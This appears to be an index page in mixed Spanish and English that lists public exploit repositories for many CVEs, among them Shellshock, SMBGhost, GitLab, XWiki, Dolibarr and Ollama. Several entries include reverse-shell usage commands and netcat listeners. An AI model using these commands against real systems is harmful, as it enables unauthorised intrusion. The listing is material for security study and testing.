php-8.1.0-dev-exploit

php-8.1-dev-Exploit ⚠️ Importante leer primero Este repositorio contiene una prueba de concepto PoC en Java destinada únicamente para uso en CTF / laboratorio. No ejecute este código contra sistemas que no posea o para los que no tenga un permiso por escrito explícito para probar. La explotación n...

CVE-2024-25832-PoC

CVE-2024-25830 y CVE-2024-25832 - DataCube3: Control de Acceso Inadecuado y Carga de Archivos Sin Restricciones. Resumen Este repositorio presenta una Prueba de Concepto PoC para una cadena de explotación de dos pasos dirigida a dispositivos DataCube3. Combina CVE-2024-25830 Control de Acceso...

CVE-2024-4157-SSRF-RCE-Reverse-Shell

CVE-2024-4157: Getting Reverse Shell on Havoc C2 - Chaining SSRF with RCE Get reverse-shell with local IP and Port, chaining CVE-2024-4157 POC with havocauthrce Usage Basic info root@kitploit: $ python3 exploit.py usage: exploit.py -h -t TARGET -i IP -p PORT -A USERAGENT -H HOSTNAME -u USERNAME -...

xwiki-15.10.8-reverse-shell-cve-2025-24893

Exploit de Reverse Shell CVE-2025-24893 para XWiki Descargo de responsabilidad: Este script está destinado solo con fines educativos y pruebas de seguridad autorizadas. No lo utilice en sistemas que no posea o para los que no tenga permiso explícito para realizar pruebas. El mal uso puede ser...

cve-2015-1538-1

POR FAVOR, NO COMPARTAS ESTO CON NADIE. ESTE CÓDIGO SE TE PROPORCIONA BAJO FrienNDA. LAS PERSONAS QUE VIOLEN ESTO YA NO SERÁN CONSIDERADAS AMIGOS. Se incluye un script de Python que genera un MP4 explotando la vulnerabilidad ‘stsc’ también conocida como CVE-2015-1538 1. Esta es una de las...

SMBGhost_AutomateExploitation

SMBGhost CVE-2020-0796 Automate Exploitation and Detection This python program is a wrapper from the RCE SMBGhost vulnerability. All the credits for the working exploit to chompie1337. All the credits for the scanner to ioncodes. I just automate these functions in one program. You need to have in...

CVE-2021-22204

CVE-2021-22204 Vulnerabilidad Ejecución de comandos arbitrarios en exiftool Uso 1. Configurar la IP y puerto para el reverse shell en el archivo exploit.py, luego ejecutar docker compose up 2. Acceder al shell de docker, luego en la ruta /root ejecutar python3 exploit.py para generar el archivo d...

POC-exploit-for-Dolibarr

Exploit POC para Dolibarr example: python3 exploit.py http://example.com login password 127.0.0.1 9001 ---Reverse Shell Exploit for Dolibarr = 17.0.0 CVE-2023-30253--- positional arguments: hostname Target hostname username Username of Dolibarr ERP/CRM password Password of Dolibarr ERP/CRM lhost...

CVE-2025-69212-Exploit

CVE-2025-69212 - OpenSTAManager P7M Command Injection Exploit A fully automated exploit script for CVE-2025-69212 , a command injection vulnerability in OpenSTAManager. This script authenticates with admin credentials, deploys a malicious PHP web shell via a crafted P7M file in a ZIP archive, and...

CVE-2022-22965

CVE-2022-22965 Poc&Exp, soporta escaneo por lotes Uso root@kitploit: -a string Dirección de escucha de rebote -b Mostrar banner o no default true -c string Comando default "ls" -p int Puerto de escucha de rebote -poc Solo escaneo POC o no, por defecto solo POC default true -r Rebote de shell o no...

CVE-2021-22204

CVE-2021-22204 Exploit para CVE-2021-22204 ExifTool - Ejecución de código arbitrario Descripción del Exploit Usa este exploit para generar un payload de imagen JPEG que puede ser utilizado con una versión vulnerable de ExifTool para ejecución de código. Se puede proporcionar un comando...

gitlab-RCE-11.4.7

gitlab-RCE-11.4.7 GitLab 11.4.7 CE RCE exploit con diferentes reverse shells. CVE-2018-19571: https://nvd.nist.gov/vuln/detail/CVE-2018-19571 CVE-2018-19585: https://nvd.nist.gov/vuln/detail/CVE-2018-19585 Modificación de la versión de Sam Redmond y Tam Lai Yin con el fin de aprender y practicar...

cve-2010-4221

cve-2010-4221 Este exploit fue escrito para estudiar algunos conceptos, ¡disfrútalo! Uso root@kitploit: Proftpd Telnet IAC remote generic exploit Writen by: F0rb1dd3n Usage: ./proftpd-exploit Attack Types: 0 - Socket Reuse 1 - Reverse Shell 2 - Bind Shell 3 - Your own shellcode raw format Solo...

CVE-2014-6271

CVE-2014-6271 python2.7 Comienza a escuchar en tu máquina. root@kitploit: nc -l -p 4444 Ejecuta el script de Python según la siguiente regla: python shellpoc.py root@kitploit: python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 Disfruta...

Confluence-RCE

Uso: python3 mian.py Detección Ejecución de comandos Reverse shell Soporte para proxy socks5 y http...

CVE-2022-36804-PoC

CVE-2022-36804-PoC Script de explotación multihilo para CVE-2022-36804 que afecta a la mayoría de las versiones de BitBucket 8.3.1 Consulte el aviso completo aquí https://jira.atlassian.com/browse/BSERV-13438 Todo el crédito para TheGrandPew por el descubrimiento El script detectará automáticamen...

CVE-2022-36553-PoC

CVE-2022-36553 - Hytec Inter HWL-2511-SS Unauthenticated Remote Command Injection. Overview This repository contains a Proof of Concept PoC reverse shell script for exploiting CVE-2022-36553, a critical vulnerability in Hytec Inter HWL-2511-SS devices. The script is a practical demonstration,...

CVE-2020-9484

CVE-2020-9484 Haga clic en la imagen para ver el video Uso Hágalo ejecutable root@kitploit: chmod +x CVE-2020-9484 root@kitploit: ./CVE-2020-9484 http://10.10.10.10./8080/ 10.10.1.1 4444...

CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 y CVE-2024-45436 Ollama RCE CVE-2024-37032 CVE-2024-45436 Debe ejecutarse en Linux, el entorno necesita tener gcc. Instale golang y ejecute el siguiente comando para obtener una shell reversa: root@kitploit: go run main.go -target http://127.0.0.1:11434/ -exec "bash -i &...

CVE-2023-42819

CVE-2023-42819 CVE-2023-42819 Descripción de la vulnerabilidad Vulnerabilidad de escritura arbitraria de archivos en JumpServer CVE-2023-42819 + CVE-2023-42820 = GetShell USO 1. Coloque el script y los archivos necesarios en el mismo directorio 2. Asegúrese de que Google Chrome esté instalado y...